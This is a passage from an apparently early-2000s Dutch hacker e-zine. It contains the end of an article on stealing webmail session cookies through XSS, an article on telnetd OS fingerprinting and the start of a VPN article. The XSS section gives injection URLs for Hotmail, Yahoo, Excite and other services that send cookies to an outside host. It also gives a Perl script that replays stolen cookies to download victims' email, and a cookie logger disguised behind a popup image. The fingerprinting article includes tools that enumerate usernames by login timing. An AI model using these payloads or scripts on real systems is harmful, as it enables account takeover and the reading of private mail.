"window.open"
- We openen een nieuw venster waarin we een connectie maken met een
andere server
"('http://host/cgi-bin/rompigema.pl?'+document.referrer+'%20'+document.cookie);"
- Op deze server spreken we het rompigema.pl script aan en posten de
referrer en het cookie.
"</script>"
We sluiten het script weer af.
Het script op de server, rompigema.pl[9], was het script dat gebruikt werd om
vervolgens misbruik van de cookie te maken. Hier zal later in dit artikel meer
over volgen.
Maar zoals gezegd werkte deze XSS in hotmail niet langer, het is echter een
kleine moeite om een nieuwe XSS mogelijkheid te vinden bij de MSN servers.
Voor de eerste kunnen we zelfs gewoon blijven bij 'www.accesshollywood.msn.com'
netzoals de vorige was.
De volgende XSS werkt op het moment van schrijven van dit artikel:
http://www.accesshollywood.msn.com/emailtoafriend.asp?head=';</script>
<script>alert('XSS%20Test');</script><noscript>
Daarnaast zoeken we even op een andere site van MSN en we vinden ook de volgende
url:
<script>alert("XSS%20Test");">http://zone.msn.com/cubis/spGame_NewWin.asp?id="><script>alert("XSS%20Test");
</script>
We hebben dus in twee verschillende services van MSN een XSS fout gevonden die
we kunnen misbruiken voor de hotmail service.
Om het makkelijk te houden gebruiken we voor alle XSS bugs dezelfde url
toevoeging, namelijk:
"><script>window.open('http://host/cgi-bin/rompigema.pl?'+document.referrer+'
%20'+document.cookie);</script><noscript>
De laatste <noscript> is om te zorgen dat de XSS maar 1 keer gebruikt wordt in
de pagina en dat verder de pagina genegeerd wordt.
Bij de laatste versie van dit artikel bleken lycos en yahoo opeens de XSS fouten
uit mijn advisory te hebben veranderd. Lycos is het script waar de fout in zat
gaan hosten bij tripod (zelfde bedrijf, andere url), en bij yahoo hebben ze het
filter aangepast.
Verschillende XSS fouten in de andere websites zijn:
EXCITE:
Uit advisory:
http://my.sports.excite.com/jsp/spmywaymaint.jsp?ru=X%22><script>window.open
('http://host/cgi-bin/rompigema.pl?'%252Bdocument.referrer%252B'%20'%252b
document.cookie);</script>
Nieuw:
<script>window.open">http://www.excite.com/tv/search.jsp?searchfor="><script>window.open
('http://localhost/cgi-bin/script.pl?'%20%2B%20document.cookie%2B
document.referrer);</script>
YAHOO:
/ym/Compose?YY=49486&Format=html&Body=<script>window.open
('http://localhost/cgi-bin/script.pl?'%2bdocument.cookie%2Bdocument.referrer);
</script>&HP=HTML%20Preview
De url van yahoo bevat inderdaad geen 'http://mail.yahoo.com', deze bug bevindt
zich namelijk in het compose systeem van yahoo mail, waardoor hij dus op elke
server (yahoo gebruikt netzoals andere webmails meerdere servers voor de mail
alleen) te exploiten is. Deze url is dus ook gewoon aan te roepen vanuit de
source.
Fixen
Deze XSS fouten zijn in principe erg makkelijk te fixen door de verschillende
sites, een aantal kleine aanpassingen in de filters en ze zijn weer weg. Maar
daarmee wordt het probleem niet echt opgelost. Zoals al eerder gezegd werken er
veel verschillende mensen aan de verschillende sites waarschijnlijk. Hierdoor
zit je er dus mee dat de communicatie hier tussen goed moet zitten. Voor de site
die de XSS bevat hoeft het lang niet zo erg te zijn dan voor de site die er de
dupe van is. Dus krijgt het waarschijnlijk een erg lage prioriteit om het te
veranderen.
Alle sites zijn gemaild op meerdere adressen om hun op de hoogte te stellen van
de fouten die er in de sites zitten. Geen enkele heeft een reactie terug
gestuurd (behalve natuurlijk zo nu en dan een auto-reply). Het is bij de meeste
sites niet duidelijk waar naartoe gemaild moet worden voor security-fouten,
waardoor de mailtjes dus waarschijnlijk niet direct of helemaal niet op de
plaats aankomen waar ze horen. Zeker als het dus verschillende afdelingen
betreft kan het fixen van deze bugs dus een behoorlijk tijdje gaan duren
(bijvoorbeeld 4 maanden). Een van de oplossingen die geopperd is om te
veranderen aan de gebruikerskant is het 'HTTP-only" systeem[10]. Dit systeem
zorgt ervoor dat de cookie niet meer door een webtoepassing (zoals javascript)
kan worden aangeroepen. Echter is dit maar een beperkte oplossing aangezien XSS
uit meer bestaat dan het te pakken krijgen van de cookie.
Exploit
Als voorbeeld voor een exploit gebruik ik de exploit welke ik heb gebruikt voor
de Hotmail, Yahoo en Excite advisory. Het kan ook leerzaam zijn om de exploit
(fragile.pl) door te kijken welke is gebruikt voor de Lycos bug[2].
Het script dat ik gebruikt heb voor Hotmail etc was het rompigema.pl script. De
naam zal wat onduidelijk zijn, maar het betekent breekbaar in het Esperanto.
Het script staat hieronder, voorzien van commentaar om het duidelijker te maken.
Om het script goed te kunnen begrijpen raad ik je aan de artikelen van Bas
Bosschert (Asby) te lezen over Perl en Regular expressions, welke beiden ook in
H4H te vinden zijn.
#[De header]
#!/usr/bin/perl
#
# Multiple XSS/Cookie Problems
# Proof Of Concept
# N|ghtHawk
# nighthawk_at_hackers4hackers.org
#[Het gebruik van Sockets mogelijk maken]
use IO::Socket;
#[De verschillende opties die gekozen kunnen worden]
# OPTIONS
# 1. See Frontpage
# 2. See Inbox
# 3. Read An E-Mail
# 4. Only save Cookie
$option = "3";
#[De plek waar de data neer wordt gezet bepalen]
# PATH
$path = "/tmp/mirrors/";
#[De cookie uit de query halen en de spaties zichtbaar maken]
$cookie = "$ENV{QUERY_STRING}\;";
$cookie =~ s/%20/ /g;
#[Checken of de cookie goed is en in gedeeltes splitsen]
if ($cookie =~ /http:\/\/(.*mail\.(.*)\..*com)(\/[^ ]* )(.*)/) {
$host = $1;
$type = $2;
$req = $3;
$cookie = $4;
if ($req =~ /ArdSI=(.*)&ArdSI=/) {
$ardsi = $1;
}
}
#[Checken of de cookie een host bevat]
if (!$cookie || !$host) { &no_cookie; }
#[Opties voor Hotmail aangeven]
%msn = (
1 => "/cgi-bin/hmhome",
2 => "/cgi-bin/HoTMaiL?curmbox=F000000001",
filt => "<a *href=\"\/(cgi-bin\/getmsg\?.*)\">",
name => "class=[^ ]*\">(.*@hotmail.com)<"
);
#[Opties voor Yahoo aangeven]
%yahoo = (
1 => "/ym/Welcome?order=down&sort=date&pos=0",
2 => "/ym/us/ShowFolder?box=Inbox&order=down&sort=date&pos=0",
filt => "\/(ym\/ShowLetter?.*)\">",
name => "<b>.* (.*\@yahoo.com)<\/b>"
);
#[Opties voor Excite aangeven]
%excite = (
1 => "\/splash.php?ArdSI=$ardsi&ArdSI=$ardsi",
2 => "\/folder_msglist.php?t=0&m=0&ArdSI=$ardsi&in=1",
filt => "(msg_read.php?[^>]*)'",
name => "<b>Hi (.*)!<\/b>"
);
#[De opties selecteren welke aangegeven is, de inbox of de frontpage zien]
$req = "$$type{2}";
if ($option == "1") { $req = "$$type{1}"; }
#[Request naar de server maken en de data hiervan ontvangen]
$data = request($host, $req);
#[Indien optie 3 is gekozen een email downloaden]
if ($option == "3") {
@datar = split(/\n/,$data);
foreach $line (@datar) {
if ($line =~ /$$type{filt}/) {
$req = "/$1";
}
}
$data = request($host, $req);
}
#[De data naar een bestand laten schrijven]
&out($data);
#[De data wegschrijven naar een file met als naam het account, tenzij er alleen]
#[cookies opgeslagen worden]
sub out {
my ($data) = @_;
@datar = split(/\n/,$data);
foreach $line (@datar) {
if ($line =~ /$$type{name}/) {
$name = $1;
}
}
if ($option == 4) {
$data = "$name\n$cookie\n";
$name = "cookies";
}
#[Naar de file schrijven en de pagina van het script redirecten naar een andere]
#[pagina.]
open(FILE,">>$path$name.html");
print FILE "$data\n";
close(FILE);
print "Content-type: text/html\n";
print "Location: http://www.dwheeler.com/secure-programs/".
"Secure-Programs-HOWTO.html\n\n";
}
#[Connectie naar de server openen om hier een request te doen en de data te]
#[ontvangen]
sub request {
my ($host, $req) = @_;
$sock = IO::Socket::INET->new(
Proto => "tcp",
PeerAddr => "$host",
PeerPort => "80",
Timeout => 30) || die "Could not create socket: $!\n";
print $sock "GET $req HTTP/1.0\n".
"Host: $host\n".
"Accept: image/gif, image/x-xbitmap, */*\n".
"Accept-Language: nl\n".
"User-Agent: Pr00fOfConcept/1.0 \n".
"Connection: Keep-Alive\n".
"Cookie: $cookie\n\n";
sleep(4);
recv($sock,$data,200000,0);
close($sock);
return $data;
}
#[Error geven als er geen cookie gevonden wordt]
sub no_cookie {
print "content-type: text/html\n\n";
print "<h1>No Cookie or Referrer found</h1>\n";
exit;
}
De uitleg bij het script is erg nihil, maar het script regel voor regel
uitleggen zal niet veel duidelijker maken. Het idee komt er op neer dat het
script de cookie ontvangt en deze gebruikt om een request te maken naar de
server. om dit makkelijker te maken gebruikt het de referrer om te weten waar
het naartoe moet. Misschien kan je dit script gebruiken om je kennis van perl
en regular expressions te testen, is het toch nog nuttig.
Rediff
Bij veel kleinere webmail sites zijn XSS fouten veel makkelijker te misbruiken.
Veel sites filteren namelijk niet eens op javascript in de source van een email.
De grotere websites doen dit wel omdat deze veel meer met zulke pogingen te
maken hebben. Een voorbeeld van een site waarbij javascript niet wordt gefilterd
is Rediffmail[11]. Dit is een van de emailservices die gebruikt wordt door
spammers en vooral door 419-scammers.
Dit is heel simpel te exploiten door bijvoorbeeld het volgende in een
HTML-emailtje te zetten:
<script>
window.open('http://host/cgi-bin/script.pl?'+document.cookie+'%20'+
document.referrer,'x','height=280,width=320')
</script>
Dit zal een pop-up geven van 280 bij 320 waarbij het de cookie en de referrer
post naar een script wat je op een site klaar hebt staan. Om alleen deze
informatie op te slaan kan je bijvoorbeeld het volgende script gebruiken:
#!/usr/bin/perl -w
$pass = "$ENV{'QUERY_STRING'}";
$pass =~ s/%([\dA-Fa-f][\dA-Fa-f])/pack("C", hex($1))/eg;
open(FILE,">>passes");
print FILE "$pass\n";
close(FILE);
print "Content-type: text/html\n";
print "Location: http://host/popup.gif\n\n";
De laatste twee regels van dit script zorgen ervoor dat de pop-up een afbeelding
bevat, zodat het gewoon een irritante pop-up lijkt die wel vaker optreden op
webmail sites. Het slachtoffer zal dan ook waarschijnlijk erg snel deze pop-up
wegklikken en verder niets door hebben.
Indiatimes
Een variatie op de XSS attacks die ik uit heb gelegd is dat sommige sites geen
gebruik maken van een cookie om het paswoord in te zetten. Dit komt niet erg
veel voor, omdat het nogal omslachtig is het op een andere manier op te lossen.
Een site die wel een andere manier gebruikt is de webmail van
indiatimes.com[12], ook erg in trek bij spammers en scammers. Deze webmail
maakt alleen gebruik van de referrer lijkt het. Na het inloggen krijg je
namelijk de volgende url:
http://email.indiatimes.com/cgi-bin/demail.cgi?login=loginnaam~cnVEQ3I3MD
Als je deze url van iemand hebt en deze persoon is nog niet opnieuw ingelogd
(dan verandert het gedeelte achter de ~), dan kan je als deze persoon inloggen
op zijn account. Hierbij is het dus alleen nodig om de referrer te pakken te
krijgen, hiervoor is niet altijd een XSS bug nodig. Waardoor dit dus
makkelijker kan zijn dan een cookie bemachtigen. Bij indiatimes.com is het
overigens niet nodig een andere manier te bedenken, want ook deze site filtert
niet op javascript in het bericht wat je ontvangt. Je zou dus dezelfde manier
kunnen gebruiken als bij rediff is vermeld.
[1] XSS-FAQ
- http://www.cgisecurity.com/articles/xss-faq.shtml
[2] Lycos XSS/Cookie Advisory:
- http://packetstormsecurity.org/0211-exploits/lycosxss.txt
- http://www.securiteam.com/securitynews/6R0041P60Q.html
- http://www.dsinet.org/?id=3005
[3] Hotmail, Yahoo, Excite Advisory
- http://packetstormsecurity.org/0211-exploits/XSS-Cookie-Advisory.txt
- http://www.securiteam.com/securitynews/6F00C1560Y.html
- http://www.dsinet.org/?id=3033
[4] Hotmail webmail
- http://www.hotmail.com
[5] Yahoo webmail
- http://mail.yahoo.com/
[6] Lycos webmail
- http://login.mail.lycos.com/
[7] Excite webmail
- http://www.excite.com
[8] Wat zijn cookies?
- http://www.seniorweb.nl/service/ttinternet/cookie.htm
[9] Betekenis van Rompigema:
- http://wwwtios.cs.utwente.nl/traduk/EO-EN/Traduku?rompig%5Eema
[10] HttpOnly:
- http://online.securityfocus.com/archive/1/299032/2002-10-30/2002-11-05/1
- http://msdn.microsoft.com/library/en-us/dncode/html/secure10102002.asp
[11] Rediff webmail:
- http://mail.rediff.com/
[12] Indiatimes webmail:
- http://email.indiatimes.com/
-------------------------------------------------------
06. telnetd als OS fingerprinting medium
-------------------------------------------------------
1. Inleiding
2.1 Wat is telnet.
2.2 Network Virtual Terminal
2.3 Telnet Session Negotiation
3. Banner grabbing
4. Telnetd Session Negotiation (TSN) grabbing
5. Path timing analysis
6. Referenties
---] 1. Inleiding
De laatste 4 à 5 jaar is er relatief veel onderzoek gedaan naar 'remote [os]
fingerprinting'. Dit heeft geleid naar indrukwekkende methodes, enorm grote
database files, anti-detection truuken, ..., etc. In dit artikel gaan 3 os
fingerprinting manieren besproken worden, die allemaal vereisen dat telnetd
draait op het computer systeem van je 'slachtoffer'.
1) Banner grabbing
2) Telnetd Session Negotiation (TSN) grabbing
3) Path timing analysis
vooraleer deze methodes in detail gaan besproken worden, wordt er eerst een
woordje uitleg gegeven over wat telnet juist is.
Het voordeel van deze methode is dat ze geen van allen 'raw sockets' gebruiken,
en dat dus elke normale gebruiker deze kan toepassen.
---] 2.1 Wat is telnet
Telnet staat voor "Telecommunications network protocol" en is 'uitgevonden' in
1969. Het wordt/werd voornamelijk gebruikt om remote op een systeem in te
loggen, en 'commands' te kunnen uitvoeren. Meestal wordt er een shell
toegewezen, eenmaal je bent ingelogd. In de meeste gevallen is het ook
noodzakelijk om een login name en een wachtwoord in te geven, voor men je een
shell kan toewijzen.
Telnet gebruikt het tcp protocol als transport protocol. Telnet lijkt een
transparant protocol voor de eindgebruiker, maar er gebeurt echter veel meer dan
men ziet. Telnet is gebaseerd op een aantal ideeën:
* Network Virtual Terminal (NVT)
* Telnetd Session Negotiation (TSN)
---] 2.2 Network Virtual Terminal
Het probleem met het verbinden met een andere host, die een helemaal ander OS,
architectuur, netwerkimplementatie, ..., etc. zou kunnen hebben, is dat de data
die van de ene kant naar de andere reist helemaal verschillend kan zijn.
Om dit probleem op te lossen, is men op het idee gekomen van een NVT. Wat men
hiermee bedoelt, is dat dit een denkbeeldig systeem is, waarbij men al de
'local settings' omzet om ze zo te versturen naar de server. De server, die
deze NVT ook ondersteund, moet deze dan gewoon omzetten naar de 'remote
settings'.
Dit kan misschien wel een gek idee lijken, maar stel je voor dat zowel de client
als de servers de settings van elkaar moesten bijhouden. Dit zou VEEL meer werk
zijn dan gewoon de NVT te gebruiken.
---] 2.3 Telnetd Session Negotiation
Omdat de settings van de NVT nogal mager zijn, en je meestal wel wat meer opties
wilt, is men op het briljante idee gekomen van TSN. Dit laat toe je terminal wat
aan te passen.
Stel dat je bijvoorbeeld wilt dat er een aantal 'environment variables'
ingesteld staan als je ingelogd bent, of je wil NIET dat wat je typed wordt
terug ge-echo'd, dan kan je dat instellen.
Maar hoe werkt dat nu juist ? Als je verbind met een telnet server, kan je een
'negotiation request' sturen. De Telnet server kan (en doet dit meestal wel) je
ook een of meerdere sturen. Een 'negotiation request' begint altijd met wat men
noemt een 'interpret as command' karakter. Wat de asciiwaarde 255 (0xff) heeft,
daarna volgt het command dat je wil uitvoeren. De meeste commands zijn echter
niet veel gebruikt, en worden hier dan ook niet vermeld. (indien je ze wilt
zien, kan je ze halen uit de 4 eerste referenties onderaan). Er zijn er echter
een aantal die ZEER veel worden gebruikt, deze zijn:
+--------------+--------------+--------------+
| command naam | nummer (dec) | nummer (hex) |
+--------------+--------------+--------------+
| WILL | 251 | 0xfb |
| WONT | 252 | 0xfc |
| DO | 253 | 0xfd |
| DONT | 254 | 0xfe |
| IAC | 255 | 0xff |
+--------------+--------------+--------------+
Na het commando, komt het argument, hier is ook een lijstje van dat je eveneens
in de referenties onderaan terugvind. een stukje ervan staat in de onderstaande
tabel :
+-----------+--------------+--------------+
| arg. naam | nummer (dec) | nummer (hex) |
+-----------+--------------+--------------+
| echo | 1 | 0x01 |
| linemode | 34 | 0x22 |
| env. var. | 36 | 0x23 |
+-----------+--------------+--------------+
ELKE 'negotiation request' MOET beantwoord worden, je kan deze aanvaarden of
weigeren.
Je kan op sommige van de genoemde commands maar 1 reply geven, en in andere gevallen
meerdere :
request : reply
-----------------
WILL : - DO
- DONT
DO : - WILL
- WONT
WONT : - DONT
DONT : - WONT
Als een optie is aanvaard, gaat deze direct in werking. Misschien is het best
als dit geillustreerd wordt met een voorbeeld. Stel dat je wilt dat de server
je tekst terug echo'd. Dan zou het volgende kunnen gebeuren :
+--------------------------+
1) Client --> | data: 0xff, 0xfd, 0x01 | --> Server
+--------------------------+
| \-> DO |
+-> IAC +-> echo
+--------------------------+
2) Server --> | data: 0xff, 0xfb, 0x01 | --> Client
---------------------------+
\-> IAC | \-> echo
+-> WILL
1) de Client vraagt of de server z'n data wil terug echo'en
2) de Server zegt tegen de client dat hij dit zal doen.
---] 3. Banner grabbing
De eerste, en gemakkelijkste manier van os fingerprinten die hier wordt
voorgesteld is het banner grabben. Dit is ook de minst betrouwbare methode. De
Titel legt al min of meer uit wat er wordt gedaan. Normaalgezien, als men met
een telnet client verbind op een telnet server, dan komt er voor je kan inloggen
een boodschap, die zegt wat voor OS dat systeem gebruikt.
een paar voorbeelden :
--- 1 ---
[ilja@nikita h4h]$ telnet localbox
Trying 192.168.10.37...
Connected to localbox.
Escape character is '^]'.
Welcome to SuSE Linux 6.4 (i386) - Kernel 2.2.14 (4).
localbox login:
--- 1 ---
--- 2 ---
[ilja@nikita ilja]$ telnet switch
Trying 192.168.10.250...
Connected to switch.
***********************************************
* Nortel Networks *
* Copyright (c) 1996,1998 *
* All Rights Reserved *
* BayStack 350-12T *
* Versions: HW:RevD FW:V1.33 SW:v1.2.0.11 *
***********************************************
--- 2 ---
In voorbeeld nr. 1 zie je direct dat we verbonden zijn met een SuSE linux x86
systeem met een 2.2.14 kernel. In het 2de voorbeeld zie je dat deze switch zegt
wat voor een switch hij is.
Het probleem is dat het zeer gemakkelijk is om deze informatie NIET meer te
laten verschijnen, al wat je moet doen (op unix systemen) is /etc/issue(.net)
aanpassen, of verwijderen. (bij de switch is het onmogelijk deze banner weg te
halen, tenzij er op de switch zelf een mogelijkheid is voorzien om dit te doen).
---] 4. Telnetd Session Negotiation (TSN) grabbing
Zoals voordien al gezegd, werkt telnet met 'Telnet Session Negotiation', en
kunnen zowel de client als de server een 'negotiation request' sturen. De server
stuurt normaalgezien altijd een 'negotiation request'. Deze verschilt van os tot
os, omdat elk os zijn eigen (default) settings heeft. Dit gezegd zijnde, kunnen
we gaan os fingerprinten, door een database samen te stellen die per os de
'negotiation request' en het os opneemt.
Het probleem bij deze methode is dat sommige os'en dezelfde 'negotiation
request' hebben. Gelukkig is er voor dit probleem een oplossing. Door zelf een
aantal 'negotiation request' te sturen kan men deze van elkaar onderscheiden.
Een nadeel aan deze methode is, als je bijvoorbeeld de telnetd die default bij
linux zit op Freebsd zou gaan gebruiken, en vervolgens dit Freebsd systeem zou
fingerprinten met deze methode, dan zou het lijken alsof dat systeem linux
gebruikt in plaats van Freebsd.
Om dit even te illustreren is er een sample tooltje om met te spelen:
---] Begin of file [---
#
# TSN.pl By Ilja van Sprundel
#
use IO::Socket;
$fp = "\xff\xfd\x27\xff\xfd\x18"; # AS400
$S = IO::Socket::INET->new(Proto => 'tcp',PeerPort => 23,PeerAddr => $ARGV[0])
|| die "can't connect";
sysread($S, $fprint, 200); close($S); # gathering telnetd fingerprint
print "fingerprint: $fprint\n";
if ($fprint eq $fp) { print "os: AS400\n"; }
else { print "os: no match\n\n"; }
---] End of file [---
En nog even testen :
[ilja@nikita ilja]$ perl TSN.pl www.appeldulivre.fr
fingerprint: ÿý'ÿý
os: AS400
[ilja@nikita ilja]$ perl TSN.pl localbox
fingerprint: ÿýÿý ÿý#ÿý'
os: no match
[ilja@nikita ilja]$
Enkele os fingerprinting tools die deze manier gebruiken zijn :
* Telnetfp door palmers
http://teso.scene.at/releases/telnetfp_0.1.2.tar.gz
* Telnet Session Negotiation Fingerprinting door f0bic
http://amros.blackroute.net/project/code/amrosdp-telnetsn.1.0.tar.gz
---] 5. Path timing analysis
'Path timing analysis' is origineel een 'timing attack' die kan gebruikt worden
voor os fingerprinting. Elk stukje code dat je programmeert, hoe klein dit ook
is, heeft tijd nodig om uitgevoerd te worden, al zijn het maar 'n paar
microseconden. En, stel dat je deze code x aantal keren draait, dan zou, elke
keer je die draait, het *ongeveer* even lang moet duren voor deze code om deze
code uit te voeren (als je systeem min of meer stabiel is).
Dus, als je 2 stukjes code met elkaar vergelijkt, waar het ene 2 maal zoveel
doet als het andere, dan is het ook logisch dat het *ongeveer* 2 maal zolang
duurt om deze code uit te voeren.
Stel je nu voor, dat als je bijvoorbeeld op een telnetd verbind, en je een
loginname ingeeft, dat deze gaat zoeken achter je loginname (meestal in
/etc/passwd).En dan nog x aantal bewerkingen doen (checken of het een
'unpassworded' account is, of het een speciale account is waar je niet mee mag
inloggen, ...). Hierna pas vraagt hij achter je wachtwoord.
MAAR stel dat je een loginnaam hebt ingegeven die niet bestaat, dan wordt er
(meestal) direct nadat dit geconstateerd is, om een passwoord gevraagd (omdat
het anders zeer gemakkelijk zou zijn loginnamen te vinden). Het is dit systeem
dat men kan 'misbruiken'.
Als je zou timen hoe lang het duurt voor je je 'password: ' prompt krijgt, kan
je hieruit afleiden of de loginnaam die je hebt ingegeven juist of fout is.
Voor je kan bepalen wat juist of fout is, moet je eerst een soort maatstaaf
hebben, waaruit kan blijken of een loginnaam juist of fout is. Een methode om
een maatstaaf te ontwikkelen is als volgt:
* je geeft een loginnaam in waarvan je ZEKER bent dat deze juist is (root,
nobody, ...), en timed(T) hoe lang het duurt voor je een 'password: ' prompt
krijgt.
* maatstaaf : - Als de volgende timing voor eender welke loginnaam > of =
T - ( (T % 100) * 20) EN deze < of = T + ( (T % 100) * 20),
dan is het een juiste loginnaam.
- anders is hij fout.
Hoe kan je nu met deze 'timing attack' os fingerprinting doen ??? Elk (unix) os
komt met een aantal standaard gebruikers, zoals er zijn : "nobody, zope, wwwrun,
rpcuser, www, nfsnobody, xmmsp, ...). Door een database aan te leggen van welk
os/(linux)distributie welke default users heeft, kan je met deze methode os'en
gaan onderscheiden.
Hoewel deze methode perfect werkt met telnetd (eigenlijk /bin/login, want
telnetd roept deze binary aan om in te loggen), beperkt deze zich niet tot
telnetd, men kan dit ook toepassen op het ftp, pop3, ssh, ... protocol.
Een ander probleem is HOE dit het best getimed kan worden. Hiervoor zijn 2 goede
manieren gekend:
* CPU ticks tellen
* gettimeofday() gebruiken
*nota* gettimeofday() geeft de tijd vanaf 1 januari 1970 tot het heden in
seconde en microseconden.
Om een timing attack tot een goed eind te brengen, zijn er een aantal
voorwaarden waar men aan moet voldoen:
* er moet een degelijke netwerkverbinding zijn
* beide systemen moeten een min of meer stabiele load hebben
* 'attacker' en slachtoffer mogen niet dezelfde box zijn (dan werkt je
timing echt niet !!!)
hieronder vind je een sample tool :
---] begin of file [---
#include <stdio.h>
#include <sys/types.h>
#include <unistd.h>
#include <netdb.h>
#include <sys/socket.h>
#include <netinet/tcp.h>
#include <arpa/telnet.h>
#include <netinet/in.h>
#include <stdlib.h>
#include <sys/time.h>
#include <errno.h>
#include <fcntl.h>
#define DEFAULTPORT 23
char *names[] = {"login:","name:", NULL};
char *fp_os[] = {"daemon","operator","bin","smmsp","popa3d","uucp", "www", "named", "proxy", NULL}; /* openbsd 3.1 */
struct telnet_neg {
unsigned char iac;
unsigned char command;
unsigned char option;
};
void die(char *s){
perror(s);
exit(errno);
}
int do_telnet_neg(int fd) {
unsigned int negcount, recved, i, j;
unsigned char *buf = (char *) malloc(512+1);
unsigned char *string = (char *) malloc(512+1);
struct telnet_neg *neg = (struct telnet_neg *) malloc(100);
RECV:
memset(buf, 0x00, sizeof(buf));
memset(string, 0x00, sizeof(string));
recved = recv(fd, buf, 512, 0);
negcount = 0;
for(i = 0; (i < recved) && (negcount < 100); i++) {
if (buf[i] == IAC) {
neg[negcount].iac = buf[i];
neg[negcount].command = buf[++i];
neg[negcount].option = buf[++i];
negcount++;
}
else {
if (isprint(buf[i]) || isspace(buf[i]) )
sprintf(string, "%s%c", string, buf[i]); fflush(stdout);
}
}
if (string[0] != 0x00 ) {
for(j = 0; names[j] != NULL; j++) {
for(i=0; i < strlen(string) - 1 ; i++) {
if(strncmp(string + i, names[j], strlen(names[j])) == 0){
free(buf);
free(string);
free(neg);
return 1;
}
}
}
}
memset(buf, 0x00, sizeof(buf));
for (i = 0; i < negcount; i++) {
if(neg[i].iac == IAC) {
switch(neg[i].command) {
case DONT :
sprintf(buf, "%s%c%c%c", buf, IAC, WONT, neg[i].option);
break ;
case DO :
sprintf(buf, "%s%c%c%c", buf, IAC, WONT, neg[i].option);
break;
case WONT :
sprintf(buf, "%s%c%c%c", buf, IAC, DONT, neg[i].option);
break;
case WILL :
sprintf(buf, "%s%c%c%c", buf, IAC, DONT, neg[i].option);
break ;
}
}
}
send(fd, buf, (negcount * 3), 0);
memset(buf, 0x00, sizeof(buf));
/* OMFG is this a goto command ???????? */
goto RECV ;
}int tcp_connect(const char *host, u_short port) {
int sock, one = 1, len = sizeof(one);
struct hostent *he;
struct sockaddr_in sin;
if ((sock = socket(PF_INET, SOCK_STREAM, 0)) < 0)
die("sock");
if ((he = gethostbyname(host)) == NULL) {
herror("gethostbyname");
exit(EXIT_FAILURE);
}
memset(&sin, 0, sizeof(sin));
memcpy(&sin.sin_addr, he->h_addr, he->h_length);
sin.sin_family = AF_INET;
sin.sin_port = port == 0 ? htons(DEFAULTPORT):htons(port);
if (connect(sock, (struct sockaddr*)&sin, sizeof(sin)) < 0) {
close(sock);
die("connect()");
}
if (setsockopt(sock, IPPROTO_TCP, TCP_NODELAY, &one, len) < 0)
die("setsockopt");
return sock;
}
float try(char *user, char *addr, int port) {
char nl = '\n', buf[1024];
int r, i = 0, fd;
struct timeval tv1, tv2;
fd = tcp_connect(addr, port);
do_telnet_neg(fd);
write(fd, user, strlen(user));
write(fd, &nl, 1);
fcntl(fd, F_SETFL, fcntl(fd, F_GETFL)|O_NONBLOCK);
while (read(fd, buf, sizeof(buf)) == -1)
++i;
write(fd, "X", 1);
write(fd, &nl, 1);
close(fd);
return((int) i);
}
int main(int argc, char **argv) {
int i, port, j, r2;
float r, valid = 0;
float sum = 0;
if (argc < 2) {
printf("Usage: %s <host> [port]\n", *argv); exit(1);
}
if (argc >= 3)
port = atoi(argv[2]);
else
port = 23;
setbuffer(stdout, NULL, 0);
sum = 0;
printf("probing for existing user nobody\n");
printf("[ ");
for(j=0; j < 10; j++) {
r2 = (int) try("nobody", argv[1], port);
printf("%u ", r2);
sum += r2;
}
printf("]\n-> %f\n\n", sum/10);
valid = sum/10;
for (j=0; fp_os[j] != NULL; j++) {
sum = 0;
printf("probing for user %s\n", fp_os[j]);
printf("[ ");
for (i = 0; i < 10; ++i) {
usleep(500000);
r2 = (int) try(fp_os[j], argv[1], port);
printf("%u ", r2);
sum += r2;
}
printf("]\n-> %f\n\n", sum/10);
if ( (sum/10) < (valid - (valid/100 * 20 )) || (sum/10) > (valid + (valid/100 * 20 )) ) {
printf("os: no match\n"); exit(0);
}
}
printf("os: openbsd 3.1\n");
return(0) ;
}
---] end of file [---
en nog even testen :
[ilja@nikita h4h]$ ./osfinger kimberly
probing for existing user nobody
[ 4176 3454 3608 3434 3719 1094 3497 3353 3384 3369 ]
-> 3308.800000
probing for user daemon
[ 3514 3438 3470 3370 3494 3927 3733 3361 3963 3564 ]
-> 3583.400000
probing for user operator
[ 4209 3644 3648 3915 3481 3670 3550 849 3792 3526 ]
-> 3428.400000
probing for user bin
[ 3931 3492 3413 3419 3402 3456 3419 3517 3376 3520 ]
-> 3494.500000
probing for user smmsp
[ 3903 3511 3442 3456 3420 3420 3387 3417 3506 3420 ]
-> 3488.200000
probing for user popa3d
[ 3967 3466 3400 3466 3435 3512 3370 3517 3416 3442 ]
-> 3499.100000
probing for user uucp
[ 3882 3481 3381 3439 3409 3485 3352 3517 3374 3530 ]
-> 3485.000000
probing for user www
[ 3930 3477 3424 3396 3387 3449 3442 3718 3455 3806 ]
-> 3548.400000
probing for user named
[ 4259 3703 3697 827 3981 3772 3682 809 830 3595 ]
-> 2915.500000
probing for user proxy
[ 4147 3527 3482 3523 3484 3511 3463 3595 3500 3474 ]
-> 3570.600000
os: openbsd 3.1
[ilja@nikita h4h]$
indien je meer over deze timing attacks wil weten, kan je best [5] eens lezen.
---] 6. Referenties
1) http://www.ietf.org/rfc/rfc854.txt
2) TCP/IP Illustrated Vol. 1 (Richard W. Stevens)
3) http://packetstormsecurity.org/papers/os-detection/osdetect-perl.txt (f0bic)
4) /usr/include/arpa/telnet.h
5) http://www.team-teso.net/releases/epta.tgz (stealth)
-------------------------------------------------------
07. IPSec VPN versus SSL VPN
-------------------------------------------------------
**************************
*IPSec VPN versus SSL VPN*
**************************
---]Introductie
Iedereen heeft er vast wel eens van gehoord. Het zogenaamde SSL protocol
(secure sockets layer)
en de IPSec variant.
Maar wat is SSL / VPN nu precies ? Wat is IPSec nu precies ? Waarvoor kun je
dit alles gebruiken ?
Dat is waar dit artikel over gaat.
Dit is dus geen howto over het opzetten van een vpn !
Ik wens iedereen veel leesplezier :>
--]VPN
VPN staat voor Virtual Private Network.
Het stelt clients (gebruikers) in staat om een beveiligde verbinding op te
zetten naar een gesloten prive netwerk.
Dit kan opgezet worden over een untrusted netwerk (bijvoorbeeld het
internet).
Zo kun je dus een remote access verbinding leggen naar je netwerk thuis of
op het werk.
VPN systemen kunnen opgezet worden door middel van de nodige hardware maar
ook met software.
Vaak wordt het gebruikt in een combinatie van beiden.
Zo kun je met een client (software) verbinding maken met een server
(hardware).
Bijvoorbeeld de CISCO VPN client en de CISCO PIX.
--]Encryptie
De data wordt beveiligd. Oftewel: versleuteld / Encryptie.
VPN's maken gebruik van security protocollen.
Ik zal in dit artikel alleen het SSL protocol en het IPSec protocol
bespreken.
Encryptie (de kern van elk security protocol) verschaft 3 fundamentele
voordelen:
1. Data privacy
2. Data authentiteit en integriteit (security protocollen hebben de
